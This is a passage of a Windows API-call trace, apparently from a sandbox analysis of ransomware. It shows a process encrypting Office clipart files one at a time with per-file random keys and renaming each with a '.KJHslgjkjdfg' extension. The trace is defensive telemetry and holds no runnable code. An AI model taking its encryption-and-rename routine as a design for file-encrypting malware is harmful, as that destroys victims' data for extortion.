lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.446] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.446] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.447] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.447] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.447] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.447] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.447] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.447] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9b8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x9b8, lpOverlapped=0x0) returned 1 [0187.447] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9c0, dwBufLen=0x9c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9c0) returned 1 [0187.447] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.447] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x9c0, lpOverlapped=0x0) returned 1 [0187.447] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.447] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.447] SetEndOfFile (hFile=0x130) returned 1 [0187.450] GetProcessHeap () returned 0x990000 [0187.450] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.450] GetProcessHeap () returned 0x990000 [0187.450] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.450] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf.kjhslgjkjdfg")) returned 1 [0187.451] CloseHandle (hObject=0x130) returned 1 [0187.451] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb7ffa00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb7ffa00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x68c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00443_.WMF", cAlternateFileName="")) returned 1 [0187.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.452] GetProcessHeap () returned 0x990000 [0187.452] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.452] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.452] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.452] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.454] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.454] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.454] GetProcessHeap () returned 0x990000 [0187.454] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.454] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.454] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.454] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.454] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.454] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.455] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.455] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.455] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.455] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.455] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.455] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.455] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x68c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x68c, lpOverlapped=0x0) returned 1 [0187.455] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x690, dwBufLen=0x690 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x690) returned 1 [0187.455] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.455] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x690, lpOverlapped=0x0) returned 1 [0187.455] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.455] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.455] SetEndOfFile (hFile=0x130) returned 1 [0187.457] GetProcessHeap () returned 0x990000 [0187.457] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.457] GetProcessHeap () returned 0x990000 [0187.457] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.458] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf.kjhslgjkjdfg")) returned 1 [0187.458] CloseHandle (hObject=0x130) returned 1 [0187.458] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a6aa00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22a6aa00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00444_.WMF", cAlternateFileName="")) returned 1 [0187.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.459] GetProcessHeap () returned 0x990000 [0187.459] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.459] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.459] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.460] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.465] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.465] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.465] GetProcessHeap () returned 0x990000 [0187.465] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.465] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.465] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.465] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.465] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.465] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.465] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.466] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.466] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.466] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.466] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.466] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.466] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xf38, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xf38, lpOverlapped=0x0) returned 1 [0187.466] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf40, dwBufLen=0xf40 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf40) returned 1 [0187.466] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.466] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xf40, lpOverlapped=0x0) returned 1 [0187.466] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.466] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.466] SetEndOfFile (hFile=0x130) returned 1 [0187.469] GetProcessHeap () returned 0x990000 [0187.469] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.469] GetProcessHeap () returned 0x990000 [0187.469] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.469] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf.kjhslgjkjdfg")) returned 1 [0187.470] CloseHandle (hObject=0x130) returned 1 [0187.470] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21757d00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21757d00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00445_.WMF", cAlternateFileName="")) returned 1 [0187.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.471] GetProcessHeap () returned 0x990000 [0187.471] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.471] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.471] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.471] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0187.474] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.474] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.475] GetProcessHeap () returned 0x990000 [0187.475] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.475] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.475] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.475] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.475] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.475] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.475] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.475] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.475] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.475] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.475] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.475] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.476] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xed4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xed4, lpOverlapped=0x0) returned 1 [0187.476] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xee0, dwBufLen=0xee0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xee0) returned 1 [0187.476] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.476] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xee0, lpOverlapped=0x0) returned 1 [0187.476] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.476] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.476] SetEndOfFile (hFile=0x130) returned 1 [0187.479] GetProcessHeap () returned 0x990000 [0187.479] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.479] GetProcessHeap () returned 0x990000 [0187.479] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.479] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf.kjhslgjkjdfg")) returned 1 [0187.480] CloseHandle (hObject=0x130) returned 1 [0187.480] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00453_.WMF", cAlternateFileName="")) returned 1 [0187.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.480] GetProcessHeap () returned 0x990000 [0187.480] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.480] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.480] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.481] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0187.554] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.554] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.554] GetProcessHeap () returned 0x990000 [0187.554] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.554] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.554] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.554] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.554] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.554] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.555] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.555] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.555] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.555] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.555] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.555] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.555] ReadFile (in: hFile=0x130, 